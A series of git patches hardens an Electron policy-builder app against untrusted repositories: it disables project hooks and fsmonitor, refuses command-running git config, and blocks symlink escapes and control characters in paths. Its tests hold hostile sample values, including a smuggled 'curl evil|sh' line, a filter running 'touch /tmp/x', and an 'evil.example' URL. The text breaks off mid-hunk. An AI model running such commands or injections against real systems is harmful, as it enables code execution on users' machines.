4c3a7c25a7bb65f4b697255a1a3caa33c340a5e6 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:31:44 +0300 Subject: [PATCH 090/141] Git no longer runs a project's own hooks, fsmonitor or command settings Every git call overrides core.fsmonitor, core.hooksPath and the ext:: transport. A repository whose own config names other commands (filter or merge drivers, credential helpers, signing programs, upload/receive-pack) is refused with a message naming the setting. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/deploy.test.ts | 20 ++++++++++++++++++++ src/main/deploy.ts | 36 +++++++++++++++++++++++++++++------- 2 files changed, 49 insertions(+), 7 deletions(-) diff --git a/src/main/deploy.test.ts b/src/main/deploy.test.ts index e197d0e..ecd083b 100644 --- a/src/main/deploy.test.ts +++ b/src/main/deploy.test.ts @@ -279,6 +279,26 @@ describe('IPC handlers', () => { expect(await invoke('git:sync', project, 'merge')).toMatchObject({ ok: false, message: 'Unknown sync' }); }); + it('runs none of the project’s own hooks or fsmonitor', async () => { + const ran = join(temp, 'ran'); + const script = join(temp, 'touch.sh'); + await fs.writeFile(script, `#!/bin/sh\necho "$0" >> '${ran}'\n`, { mode: 0o755 }); + git(project, 'config', 'core.fsmonitor', script); + await fs.copyFile(script, join(project, '.git', 'hooks', 'pre-commit')); + await fs.chmod(join(project, '.git', 'hooks', 'pre-commit'), 0o755); + await fs.writeFile(join(project, 'cfbs.json'), '{}'); + expect(await invoke('git:status', project)).toMatchObject({ ok: true }); + expect(await invoke('git:commit', project, 'First')).toMatchObject({ ok: true }); + expect(git(project, 'log', '--format=%s')).toBe('First'); + await expect(fs.readFile(ran, 'utf-8')).rejects.toThrow(); + }); + + it('leaves a project alone whose git config names other commands', async () => { + git(project, 'config', 'filter.Evil.clean', 'touch /tmp/x'); + expect(await invoke('git:status', project)).toMatchObject({ ok: false, message: expect.stringContaining('(filter.Evil.clean)') }); + expect(await invoke('git:commit', project, 'First')).toMatchObject({ ok: false, message: expect.stringContaining('(filter.Evil.clean)') }); + }); + it('reveals only files of the project', () => { expect(() => invoke('deploy:reveal', project, join(temp, 'elsewhere'))).toThrow('Not a file of this project'); expect(() => invoke('deploy:reveal', project, join(project, '..', 'x'))).toThrow('Not a file of this project'); diff --git a/src/main/deploy.ts b/src/main/deploy.ts index f9a9da3..491b223 100644 --- a/src/main/deploy.ts +++ b/src/main/deploy.ts @@ -22,13 +22,23 @@ const FETCH_TIMEOUT_MS = 15_000; // http(s), ssh, git, file URLs, scp-like `user@host:path`, or a local path. const REMOTE_URL = /^(?:(?:https?|ssh|git|file):\/\/\S+|[\w.-]+@[\w.-]+:\S+|\/\S+)$/; +// A project folder may come from someone else: its own hooks, fsmonitor and ext:: remotes never run. +const NO_PROJECT_COMMANDS = [ + 'core.fsmonitor=false', + `core.hooksPath=${process.platform === 'win32' ? 'NUL' : '/dev/null'}`, + 'protocol.ext.allow=never' +].flatMap(setting => ['-c', setting]); +// Repository settings that run a command and can't be overridden like those (the project names them). +const RUNS_COMMAND = + /^(?:filter\..+\.(?:clean|smudge|process)|merge\..+\.driver|credential\.(?:.+\.)?helper|gpg\.(?:.+\.)?program|gpg\.ssh\.defaultkeycommand|core\.(?:askpass|gitproxy|alternaterefscommand)|remote\..+\.(?:uploadpack|receivepack))$/i; + type Git = { code: number; stderr: string; stdout: string }; function git(cwd: string, args: string[], timeout = GIT_TIMEOUT_MS): Promise { return new Promise((resolve, reject) => { // No prompts: a push without stored credentials fails at once instead of hanging. const env = { ...process.env, GIT_TERMINAL_PROMPT: '0', GIT_SSH_COMMAND: 'ssh -o BatchMode=yes' }; - execFile('git', args, { cwd, env, timeout, maxBuffer: 20_000_000 }, (error, stdout, stderr) => { + execFile('git', [...NO_PROJECT_COMMANDS, ...args], { cwd, env, timeout, maxBuffer: 20_000_000 }, (error, stdout, stderr) => { if (error && (error as NodeJS.ErrnoException).code === 'ENOENT') return reject(new Error('Git isn’t installed (or not on PATH).')); resolve({ code: error ? (typeof error.code === 'number' ? error.code : 1) : 0, stdout, stderr }); }); @@ -48,6 +58,18 @@ function projectPath(value: unknown): string { return path; } +// A project whose repository config would make git run one of its commands is left alone. +async function repoPath(value: unknown): Promise { + const path = projectPath(value); + const config = await git(path, ['config', '--list', '--show-scope', '--name-only']); + const runs = config.stdout + .split('\n') + .map(line => line.split('\t')) + .find(([scope, name]) => (scope === 'local' || scope === 'worktree') && RUNS_COMMAND.test(name ?? '')); + if (runs) throw new Error(`This project’s git config runs a command (${runs[1]}), so the app won’t run git in it. Remove that setting from .git/config.`); + return path; +} + // Keeps cfbs's build output and the test environments' secrets (.env) files out of git. async function ensureGitignore(path: string, secrets: string[]) { const file = join(path, '.gitignore'); @@ -228,13 +250,13 @@ export function registerDeployHandlers(isTrustedFrame: (frame: WebFrameMain | nu ); ipcMain.handle( 'git:status', - trusted((_event, path: unknown) => attempt(async () => ({ status: await status(projectPath(path)) }))) + trusted((_event, path: unknown) => attempt(async () => ({ status: await status(await repoPath(path)) }))) ); ipcMain.handle( 'git:init', trusted((_event, path: unknown) => attempt(async () => { - const root = projectPath(path); + const root = await repoPath(path); const init = await git(root, ['init', '--quiet']); if (init.code !== 0) throw commandError('git init failed', init); await commitAll(root, 'Initialized the project'); @@ -246,7 +268,7 @@ export function registerDeployHandlers(isTrustedFrame: (frame: WebFrameMain | nu 'git:commit', trusted((_event, path: unknown, message: unknown) => attempt(async () => { - const root = projectPath(path); + const root = await repoPath(path); if (typeof message !== 'string' || !message.trim() || message.length > 10_000) throw new Error('A commit needs a message'); await commitAll(root, message.trim()); return { status: await status(root) }; @@ -257,7 +279,7 @@ export function registerDeployHandlers(isTrustedFrame: (frame: WebFrameMain | nu 'git:set-remote', trusted((_event, path: unknown, url: unknown) => attempt(async () => { - const root = projectPath(path); + const root = await repoPath(path); if (typeof url !== 'string' || url.length > 2000 || !REMOTE_URL.test(url.trim())) throw new Error('Not a git remote URL'); const known = (await git(root, ['remote', 'get-url', 'origin'])).code === 0; const set = await git(root, ['remote', known ? 'set-url' : 'add', 'origin', url.trim()]); @@ -271,7 +293,7 @@ export function registerDeployHandlers(isTrustedFrame: (frame: WebFrameMain | nu 'git:sync', trusted((_event, path: unknown, mode: unknown) => attempt(async () => { - const root = projectPath(path); + const root = await repoPath(path); if (mode !== 'rebase' && mode !== 'force') throw new Error('Unknown sync'); if (mode === 'rebase') { if ((await git(root, ['status', '--porcelain'])).stdout.trim()) throw new Error('Commit your changes first: there are uncommitted files.'); @@ -302,7 +324,7 @@ export function registerDeployHandlers(isTrustedFrame: (frame: WebFrameMain | nu 'git:push', trusted((_event, path: unknown) => attempt(async () => { - const root = projectPath(path); + const root = await repoPath(path); const push = await git(root, ['push', '--set-upstream', 'origin', 'HEAD'], PUSH_TIMEOUT_MS); if (push.code !== 0) throw commandError('git push failed', push); return { status: await status(root) }; From 829bf24ac96e43da923210ddc6165c43e75da199 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:33:08 +0300 Subject: [PATCH 091/141] Git fetches and pushes use the user's own core.sshCommand when one is set GIT_SSH_COMMAND replaced it, so a push that works in a terminal failed in the app. Only a global or system value is used; the project's own still never runs, since the environment variable outranks every config file. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/deploy.test.ts | 17 +++++++++++++++++ src/main/deploy.ts | 15 ++++++++++++--- 2 files changed, 29 insertions(+), 3 deletions(-) diff --git a/src/main/deploy.test.ts b/src/main/deploy.test.ts index ecd083b..1558b8b 100644 --- a/src/main/deploy.test.ts +++ b/src/main/deploy.test.ts @@ -293,6 +293,23 @@ describe('IPC handlers', () => { await expect(fs.readFile(ran, 'utf-8')).rejects.toThrow(); }); + it('reaches remotes with the user’s own core.sshCommand, not the project’s', async () => { + const ran = join(temp, 'ran'); + for (const who of ['user', 'project']) await fs.writeFile(join(temp, `${who}.sh`), `#!/bin/sh\necho ${who} >> '${ran}'\nexit 1\n`, { mode: 0o755 }); + await fs.writeFile(join(temp, 'gitconfig'), `[core]\n\tsshCommand = ${join(temp, 'user.sh')}\n`); + vi.stubEnv('GIT_CONFIG_GLOBAL', join(temp, 'gitconfig')); + vi.stubEnv('GIT_ALLOW_PROTOCOL', 'file:ssh'); + try { + git(project, 'config', 'core.sshCommand', join(temp, 'project.sh')); + git(project, 'remote', 'add', 'origin', 'ssh://hub.invalid/policy.git'); + expect(await invoke('git:status', project)).toMatchObject({ ok: true }); + expect(new Set((await fs.readFile(ran, 'utf-8')).split('\n').filter(Boolean))).toEqual(new Set(['user'])); + } finally { + vi.stubEnv('GIT_CONFIG_GLOBAL', '/dev/null'); + vi.stubEnv('GIT_ALLOW_PROTOCOL', 'file'); + } + }); + it('leaves a project alone whose git config names other commands', async () => { git(project, 'config', 'filter.Evil.clean', 'touch /tmp/x'); expect(await invoke('git:status', project)).toMatchObject({ ok: false, message: expect.stringContaining('(filter.Evil.clean)') }); diff --git a/src/main/deploy.ts b/src/main/deploy.ts index 491b223..8b4bbb9 100644 --- a/src/main/deploy.ts +++ b/src/main/deploy.ts @@ -34,10 +34,19 @@ const RUNS_COMMAND = type Git = { code: number; stderr: string; stdout: string }; -function git(cwd: string, args: string[], timeout = GIT_TIMEOUT_MS): Promise { +// No prompts: a push without stored credentials fails at once instead of hanging. +const NO_PROMPT_SSH = 'ssh -o BatchMode=yes'; + +// The user's own core.sshCommand (global or system), never the project's; the env var outranks both. +async function sshCommand(): Promise { + const [scope, command] = (await git(homedir(), ['config', '--show-scope', '--get', 'core.sshCommand'])).stdout.trim().split('\t'); + return (scope === 'global' || scope === 'system') && command ? command : NO_PROMPT_SSH; +} + +async function git(cwd: string, args: string[], timeout = GIT_TIMEOUT_MS): Promise { + const ssh = args[0] === 'fetch' || args[0] === 'push' ? await sshCommand() : NO_PROMPT_SSH; return new Promise((resolve, reject) => { - // No prompts: a push without stored credentials fails at once instead of hanging. - const env = { ...process.env, GIT_TERMINAL_PROMPT: '0', GIT_SSH_COMMAND: 'ssh -o BatchMode=yes' }; + const env = { ...process.env, GIT_TERMINAL_PROMPT: '0', GIT_SSH_COMMAND: ssh }; execFile('git', [...NO_PROJECT_COMMANDS, ...args], { cwd, env, timeout, maxBuffer: 20_000_000 }, (error, stdout, stderr) => { if (error && (error as NodeJS.ErrnoException).code === 'ENOENT') return reject(new Error('Git isn’t installed (or not on PATH).')); resolve({ code: error ? (typeof error.code === 'number' ? error.code : 1) : 0, stdout, stderr }); From 160eaede9e3ce4d27f22e06b1a5487a3fd49859b Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:34:40 +0300 Subject: [PATCH 092/141] Saving no longer writes or deletes through a symlinked folder out of the project Each generated, stale and .policy-builder file's folder must resolve to inside the project before anything is written; otherwise the save fails. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/project.test.ts | 32 ++++++++++++++++++++++++++++++++ src/main/project.ts | 18 +++++++++++++++--- 2 files changed, 47 insertions(+), 3 deletions(-) diff --git a/src/main/project.test.ts b/src/main/project.test.ts index d5a7522..7f08f42 100644 --- a/src/main/project.test.ts +++ b/src/main/project.test.ts @@ -339,6 +339,38 @@ describe('IPC handlers', () => { expect(await fs.readFile(join(temp, 'outside.cf'), 'utf-8')).toBe('x'); }); + it('neither writes nor deletes through a symlinked folder out of the project', async () => { + const outside = join(temp, 'outside'); + await fs.mkdir(outside); + await fs.writeFile(join(outside, 'promises.cf'), 'theirs'); + await fs.symlink(outside, join(project(), 'services')); + await open(); + const refused = { ok: false, message: 'Refusing to save through a link out of the project: ./services/promises.cf' }; + + compiled.mockResolvedValue({ files: { './main.cf': 'x', './services/promises.cf': 'ours' }, sourceMap: {} }); + expect(await save()).toEqual(expect.objectContaining(refused)); + compiled.mockResolvedValue({ files: { './main.cf': 'x', './services/new/promises.cf': 'ours' }, sourceMap: {} }); + expect(await save()).toMatchObject({ ok: false, message: expect.stringContaining('./services/new/promises.cf') }); + await expect(fs.stat(join(outside, 'new'))).rejects.toThrow(); + + // A stale file listed by the project itself. + compiled.mockResolvedValue({ files: { './main.cf': 'x' }, sourceMap: {} }); + await fs.mkdir(join(project(), '.policy-builder')); + await fs.writeFile(join(project(), '.policy-builder', 'project.json'), JSON.stringify({ files: [], generated: ['./services/promises.cf'] })); + expect(await save()).toEqual(expect.objectContaining(refused)); + expect(await fs.readFile(join(outside, 'promises.cf'), 'utf-8')).toBe('theirs'); + await expect(fs.stat(join(project(), 'main.cf'))).rejects.toThrow(); + }); + + it('doesn’t write the builder’s data through a symlinked folder', async () => { + await fs.mkdir(join(temp, 'outside')); + await fs.symlink(join(temp, 'outside'), join(project(), '.policy-builder')); + await open(); + expect(await save()).toMatchObject({ ok: false, message: 'Refusing to save through a link out of the project: .policy-builder/project.json' }); + expect(await fs.readdir(join(temp, 'outside'))).toEqual([]); + await expect(writeTestEnvironments(project(), [{ name: 'debian' }])).rejects.toThrow('Refusing to save through a link'); + }); + it('counts only paths inside an opened project as known', async () => { await open(); await fs.mkdir(join(temp, 'outside')); diff --git a/src/main/project.ts b/src/main/project.ts index 08c79c3..5ef4de0 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ -352,6 +352,15 @@ async function removeEmptyFolders(projectPath: string, folder: string): Promise< } } +// Saving writes and deletes only inside the project, also once symlinked folders are followed. +async function checkInProject(projectPath: string, path: string): Promise { + const root = await fs.realpath(projectPath); + let folder = dirname(join(projectPath, path)); + let real = await fs.realpath(folder).catch(() => null); + while (real === null && dirname(folder) !== folder) real = await fs.realpath((folder = dirname(folder))).catch(() => null); + if (real === null || (real !== root && !isInside(real, root))) throw new Error(`Refusing to save through a link out of the project: ${path}`); +} + /** * Saves the project: its generated files first, then .policy-builder/project.json, * then cfbs.json. Files the previous save generated and this one doesn't are removed. @@ -371,14 +380,16 @@ async function writeProjectContent(projectPath: string, content: ProjectContent, if (missing) throw new Error(`No policy was generated for ${missing}`); const outside = generated.find(path => !isGeneratedPath(path)); if (outside) throw new Error(`Refusing to write generated policy outside the project: ${outside}`); + const stale = generatedPaths(previous).filter(path => !generated.includes(path)); + for (const path of [...generated, ...stale, BUILDER_FILE, TEST_ENVIRONMENTS_FILE]) await checkInProject(projectPath, path); for (const path of generated) { const target = join(projectPath, path); await fs.mkdir(dirname(target), { recursive: true }); await writeFileAtomic(target, files[path]); } - for (const stale of generatedPaths(previous).filter(path => !generated.includes(path))) { - await fs.rm(join(projectPath, stale), { force: true }); - await removeEmptyFolders(projectPath, dirname(stale)); + for (const path of stale) { + await fs.rm(join(projectPath, path), { force: true }); + await removeEmptyFolders(projectPath, dirname(path)); } const saved = withGenerated(stamped(content), generated, storage.type); await fs.mkdir(dirname(join(projectPath, BUILDER_FILE)), { recursive: true }); @@ -395,6 +406,7 @@ async function writeProjectContent(projectPath: string, content: ProjectContent, // The project's test environments (the Test Results & Logs tab); no file when there are none. export async function writeTestEnvironments(projectPath: string, environments: object[] | undefined): Promise { const path = join(projectPath, TEST_ENVIRONMENTS_FILE); + await checkInProject(projectPath, TEST_ENVIRONMENTS_FILE); if (!environments?.length) return fs.rm(path, { force: true }); await fs.mkdir(dirname(path), { recursive: true }); await writeFileAtomic(path, `${JSON.stringify({ environments }, null, 2)}\n`); From 19e71d94fbaaaea518d29e108a6ae82d362a27be Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:35:57 +0300 Subject: [PATCH 093/141] Commit no longer appends lines to a file a symlinked .gitignore points at A .gitignore that is a symbolic link is refused, and a test environment's secrets file path may not contain newlines or other control characters, whether it comes from the renderer or from test-environments.json. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/deploy.test.ts | 9 +++++++++ src/main/deploy.ts | 1 + src/main/project.test.ts | 9 ++++++++- src/main/project.ts | 9 +++++++-- 4 files changed, 25 insertions(+), 3 deletions(-) diff --git a/src/main/deploy.test.ts b/src/main/deploy.test.ts index 1558b8b..ea673ce 100644 --- a/src/main/deploy.test.ts +++ b/src/main/deploy.test.ts @@ -310,6 +310,15 @@ describe('IPC handlers', () => { } }); + it('doesn’t write through a .gitignore that is a symlink', async () => { + const target = join(temp, 'zshrc'); + await fs.writeFile(target, 'export A=1\n'); + await fs.symlink(target, join(project, '.gitignore')); + await fs.writeFile(join(project, 'cfbs.json'), '{}'); + expect(await invoke('git:commit', project, 'First')).toMatchObject({ ok: false, message: expect.stringContaining('.gitignore is a symbolic link') }); + expect(await fs.readFile(target, 'utf-8')).toBe('export A=1\n'); + }); + it('leaves a project alone whose git config names other commands', async () => { git(project, 'config', 'filter.Evil.clean', 'touch /tmp/x'); expect(await invoke('git:status', project)).toMatchObject({ ok: false, message: expect.stringContaining('(filter.Evil.clean)') }); diff --git a/src/main/deploy.ts b/src/main/deploy.ts index 8b4bbb9..07878ad 100644 --- a/src/main/deploy.ts +++ b/src/main/deploy.ts @@ -82,6 +82,7 @@ async function repoPath(value: unknown): Promise { // Keeps cfbs's build output and the test environments' secrets (.env) files out of git. async function ensureGitignore(path: string, secrets: string[]) { const file = join(path, '.gitignore'); + if ((await fs.lstat(file).catch(() => null))?.isSymbolicLink()) throw new Error('.gitignore is a symbolic link: the app won’t write through it.'); const text = await fs.readFile(file, 'utf-8').catch(() => ''); const lines = text.split('\n').map(line => line.trim()); const missing = [ diff --git a/src/main/project.test.ts b/src/main/project.test.ts index 7f08f42..c8a0f97 100644 --- a/src/main/project.test.ts +++ b/src/main/project.test.ts @@ -166,6 +166,13 @@ describe('checkedContent', () => { expect(() => checkedContent({ ...content(), testEnvironments })).toThrow('Invalid test environments'); } }); + + it('refuses a secrets file path with control characters', () => { + for (const envFile of ['a\ncurl evil|sh', '.env\r', '.env\0', 42]) { + expect(() => checkedContent({ ...content(), testEnvironments: [{ envFile }] })).toThrow('Invalid test environments'); + } + expect(() => checkedContent({ ...content(), testEnvironments: [{ envFile: './.env' }, { envFile: null }, {}] })).not.toThrow(); + }); }); describe('mergeCfbsJson', () => { @@ -259,7 +266,7 @@ describe('test environments file', () => { }); it('lists only secrets files inside the project', async () => { - const envFiles = ['./.env', '.env', 'secrets/hub.env', '../outside.env', '/etc/passwd', '.', ' ', 'a/../../x.env']; + const envFiles = ['./.env', '.env', 'secrets/hub.env', '../outside.env', '/etc/passwd', '.', ' ', 'a/../../x.env', 'a\ncurl evil|sh']; await writeTestEnvironments( temp, envFiles.map(envFile => ({ envFile })) diff --git a/src/main/project.ts b/src/main/project.ts index 5ef4de0..25e1d63 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ -123,6 +123,10 @@ export function checkedFolderName(value: unknown): string { } const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); +// A secrets file's path is also a .gitignore line: no newlines or other control characters. +const isEnvFilePath = (value: unknown): value is string => typeof value === 'string' && !/\p{Cc}/u.test(value); +const hasValidEnvFile = (environment: Record) => + environment.envFile === undefined || environment.envFile === null || isEnvFilePath(environment.envFile); // A policy file's path in the project: slugged folders, a .cf, never in cfbs's out/. const POLICY_PATH = /^\.\/([a-z][a-z0-9_-]*\/)*[a-z][a-z0-9_]*\.cf$/; @@ -174,7 +178,8 @@ export function checkedContent(value: unknown): ProjectContent { names.every(name => typeof name === 'string' && modules.has(name)) && content.modules.every(module => isRecord(module) && Array.isArray(module.steps)); if (!ok) throw new InvalidRequest('Invalid policy module'); - if (content.testEnvironments !== undefined && !(Array.isArray(content.testEnvironments) && content.testEnvironments.every(isRecord))) { + const environments = content.testEnvironments; + if (environments !== undefined && !(Array.isArray(environments) && environments.every(isRecord) && environments.every(hasValidEnvFile))) { throw new InvalidRequest('Invalid test environments'); } if (JSON.stringify(content).length > MAX_CONTENT_BYTES) throw new InvalidRequest('Project is too large'); @@ -423,7 +428,7 @@ export async function readTestEnvironments(folder: string): Promise { const files = ((await readTestEnvironments(folder)) ?? []).flatMap(environment => - isRecord(environment) && typeof environment.envFile === 'string' && environment.envFile.trim() ? [normalize(environment.envFile.trim())] : [] + isRecord(environment) && isEnvFilePath(environment.envFile) && environment.envFile.trim() ? [normalize(environment.envFile.trim())] : [] ); return [...new Set(files.filter(file => !isAbsolute(file) && file !== '.' && !file.startsWith('..')))]; } From 7246d781653233961e4306de01e4893ef6298d29 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:39:37 +0300 Subject: [PATCH 094/141] Saving no longer overwrites a policy file the builder didn't generate Opening a plain cfbs project named its first file after the project, so a hand-written ./.cf in its build was replaced on save. The file now gets a free name, and main refuses to replace any existing file the previous save didn't generate (unless its text is the same). Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/project.test.ts | 17 +++++++++++++++++ src/main/project.ts | 7 +++++++ src/renderer/src/project/cfbsProject.test.ts | 9 +++++++++ src/renderer/src/project/cfbsProject.ts | 12 +++++++++++- src/renderer/src/store/filesSlice/index.ts | 9 +++++---- 5 files changed, 49 insertions(+), 5 deletions(-) diff --git a/src/main/project.test.ts b/src/main/project.test.ts index c8a0f97..9741486 100644 --- a/src/main/project.test.ts +++ b/src/main/project.test.ts @@ -369,6 +369,23 @@ describe('IPC handlers', () => { await expect(fs.stat(join(project(), 'main.cf'))).rejects.toThrow(); }); + it('never overwrites a file the previous save didn’t generate', async () => { + await fs.writeFile(join(project(), 'main.cf'), 'hand-written'); + await open(); + expect(await save()).toMatchObject({ + ok: false, + message: expect.stringMatching(/^\.\/main\.cf already exists and wasn’t generated by the Policy Builder/) + }); + expect(await fs.readFile(join(project(), 'main.cf'), 'utf-8')).toBe('hand-written'); + + // The same text is no loss, and once the builder generated it, it may change it. + await fs.writeFile(join(project(), 'main.cf'), 'bundle agent main {}\n'); + expect((await save()).ok).toBe(true); + compiled.mockResolvedValue({ files: { './main.cf': 'bundle agent main { }\n' }, sourceMap: {} }); + expect((await save()).ok).toBe(true); + expect(await fs.readFile(join(project(), 'main.cf'), 'utf-8')).toBe('bundle agent main { }\n'); + }); + it('doesn’t write the builder’s data through a symlinked folder', async () => { await fs.mkdir(join(temp, 'outside')); await fs.symlink(join(temp, 'outside'), join(project(), '.policy-builder')); diff --git a/src/main/project.ts b/src/main/project.ts index 25e1d63..f30a5f6 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ -387,6 +387,13 @@ async function writeProjectContent(projectPath: string, content: ProjectContent, if (outside) throw new Error(`Refusing to write generated policy outside the project: ${outside}`); const stale = generatedPaths(previous).filter(path => !generated.includes(path)); for (const path of [...generated, ...stale, BUILDER_FILE, TEST_ENVIRONMENTS_FILE]) await checkInProject(projectPath, path); + // A file the previous save didn't generate is the user's own (unless it already says the same). + const ours = new Set(generatedPaths(previous)); + for (const path of generated.filter(path => !ours.has(path))) { + const existing = await fs.readFile(join(projectPath, path), 'utf-8').catch((error: NodeJS.ErrnoException) => (error.code === 'ENOENT' ? null : '')); + if (existing !== null && existing !== files[path]) + throw new Error(`${path} already exists and wasn’t generated by the Policy Builder: rename it, or the file in the builder.`); + } for (const path of generated) { const target = join(projectPath, path); await fs.mkdir(dirname(target), { recursive: true }); diff --git a/src/renderer/src/project/cfbsProject.test.ts b/src/renderer/src/project/cfbsProject.test.ts index f89df1f..889d5c6 100644 --- a/src/renderer/src/project/cfbsProject.test.ts +++ b/src/renderer/src/project/cfbsProject.test.ts @@ -175,6 +175,15 @@ describe('loadCfbsProject', () => { expect(data).toMatchObject({ canvas: [], edges: [], groups: [], derivedNodes: {} }); }); + it('names that file so it doesn’t replace one of the project’s own', () => { + const build = [ + { name: './plain.cf', steps: ['copy ./plain.cf services/cfbs/plain.cf'] }, + { name: 'local', steps: ['copy ./plain_2.cf services/cfbs/plain_2.cf'] } + ]; + const { data } = loadCfbsProject({ name: 'Plain', type: 'policy-set', build }, null, 'plain'); + expect(data.files.files[0]).toMatchObject({ name: 'Plain', bundle: 'plain_3' }); + }); + it('loads a module project: its type, module name and display name', () => { const { state } = buildProject(); const content = toCfbsProject(state, IDENTITY); diff --git a/src/renderer/src/project/cfbsProject.ts b/src/renderer/src/project/cfbsProject.ts index 86bfbc4..7239492 100644 --- a/src/renderer/src/project/cfbsProject.ts +++ b/src/renderer/src/project/cfbsProject.ts @@ -393,6 +393,16 @@ export function environmentsFrom(value: unknown): TestEnvironment[] { }); } +// The project's own top-level policy files (./.cf build entries or copy sources): ours must not overwrite one. +const ownPolicyFiles = (build: unknown[]) => + build + .filter(isObject) + .flatMap(entry => [ + entry.name, + ...(Array.isArray(entry.steps) ? entry.steps : []).map(step => (typeof step === 'string' ? step.split(/\s+/)[1] : undefined)) + ]) + .flatMap(path => (typeof path === 'string' && /^\.\/[^/]+\.cf$/i.test(path) ? [path.slice(2, -3).toLowerCase()] : [])); + export function loadCfbsProject(json: unknown, builder: unknown, folderName: string, testEnvironments: unknown = null): LoadedProject { if (!isObject(json)) throw new Error('cfbs.json is not a JSON object'); const type: ProjectType = json.type === 'module' ? 'module' : 'policy-set'; @@ -406,7 +416,7 @@ export function loadCfbsProject(json: unknown, builder: unknown, folderName: str const environments = environmentsFrom(testEnvironments); const data = builder === null || builder === undefined ? null : fromBuilderProject(builder); if (data && data.files.files.length > 0) return { ...identity, data: { ...data, testEnvironments: environments }, masterfiles }; - const files = filesReducer(undefined, projectFilesInitialized(name)); + const files = filesReducer(undefined, projectFilesInitialized(name, ownPolicyFiles(Array.isArray(json.build) ? json.build : []))); return { ...identity, data: { canvas: [], derivedNodes: {}, edges: [], files, groups: [], testEnvironments: environments }, masterfiles }; } diff --git a/src/renderer/src/store/filesSlice/index.ts b/src/renderer/src/store/filesSlice/index.ts index 45996f3..1e4c2f7 100644 --- a/src/renderer/src/store/filesSlice/index.ts +++ b/src/renderer/src/store/filesSlice/index.ts @@ -30,13 +30,14 @@ const filesSlice = createSlice({ // Replaces the whole file list: called once, when a project is created, // so a previous project's files can't leak into the new one. projectFilesInitialized: { - reducer(_state, action: PayloadAction<{ id: string; name: string }>) { + reducer(_state, action: PayloadAction<{ id: string; name: string; taken: string[] }>) { const name = sanitizeFileSystemName(action.payload.name) || DEFAULT_NAME; - const file: PolicyFile = { id: action.payload.id, name, bundle: deriveBundle(name), parentId: null }; + const file: PolicyFile = { id: action.payload.id, name, bundle: deriveBundle(name, action.payload.taken), parentId: null }; return { files: [file], folders: [], currentFileId: file.id }; }, - prepare(name: string) { - return { payload: { id: crypto.randomUUID(), name } }; + // `taken`: names the file's bundle (and so its ./.cf) must not have. + prepare(name: string, taken: string[] = []) { + return { payload: { id: crypto.randomUUID(), name, taken } }; } }, fileAdded: { From 0d69b5398899b0ba0466e6e6cba30a981fddbe98 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:41:49 +0300 Subject: [PATCH 095/141] Packaged builds no longer load the page ELECTRON_RENDERER_URL names Only development builds read it: a packaged app launched with it set would have loaded that page and trusted it with the whole preload API. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/index.test.ts | 70 ++++++++++++++++++++++++++++++++++++++++++ src/main/index.ts | 6 ++-- 2 files changed, 73 insertions(+), 3 deletions(-) create mode 100644 src/main/index.test.ts diff --git a/src/main/index.test.ts b/src/main/index.test.ts new file mode 100644 index 0000000..885b69f --- /dev/null +++ b/src/main/index.test.ts @@ -0,0 +1,70 @@ +import { afterEach, describe, expect, it, vi } from 'vitest'; + +// The app's entry point, loaded against a stand-in Electron that records what it is asked to do. +const state = vi.hoisted(() => ({ + isPackaged: false, + loaded: [] as string[], + protocols: new Map Promise | Response>() +})); + +vi.mock('electron', async importOriginal => { + const original = await importOriginal(); + const emitter = { on: () => {}, setWindowOpenHandler: () => {}, setZoomFactor: () => {} }; + class BrowserWindow extends original.BrowserWindow { + webContents = emitter; + isDestroyed = () => true; + loadURL = (url: string) => void state.loaded.push(url); + on = () => {}; + } + return { + ...original, + BrowserWindow, + app: { + ...original.app, + get isPackaged() { + return state.isPackaged; + }, + setAppUserModelId: () => {} + }, + net: { fetch: async () => new Response('file') }, + protocol: { registerSchemesAsPrivileged: () => {}, handle: (scheme: string, handler: never) => void state.protocols.set(scheme, handler) }, + session: { defaultSession: { setPermissionRequestHandler: () => {} } } + }; +}); + +vi.mock('./backend', () => ({})); +vi.mock('./deploy', () => ({ registerDeployHandlers: () => {} })); +vi.mock('./hub', () => ({ registerHubHandlers: () => {} })); +vi.mock('./testenv', () => ({ registerTestEnvHandlers: () => {} })); +vi.mock('./project', () => ({ + clearRecentProjects: () => {}, + getRecentProjects: async () => [], + onRecentsChanged: () => {}, + registerProjectHandlers: () => {} +})); + +async function launch({ isPackaged }: { isPackaged: boolean }) { + state.isPackaged = isPackaged; + state.loaded = []; + vi.resetModules(); + await import('./index'); + await vi.waitFor(() => expect(state.loaded).toHaveLength(1)); +} + +afterEach(() => { + vi.unstubAllEnvs(); +}); + +describe('the renderer it loads', () => { + it('is the dev server in development', async () => { + vi.stubEnv('ELECTRON_RENDERER_URL', 'http://localhost:5173'); + await launch({ isPackaged: false }); + expect(state.loaded).toEqual(['http://localhost:5173']); + }); + + it('is always the built one in a packaged app', async () => { + vi.stubEnv('ELECTRON_RENDERER_URL', 'https://evil.example'); + await launch({ isPackaged: true }); + expect(state.loaded).toEqual(['app://bundle/index.html']); + }); +}); diff --git a/src/main/index.ts b/src/main/index.ts index c5e89c7..a0d325a 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -46,9 +46,9 @@ function layoutSettingsPath(): string { return join(app.getPath('userData'), 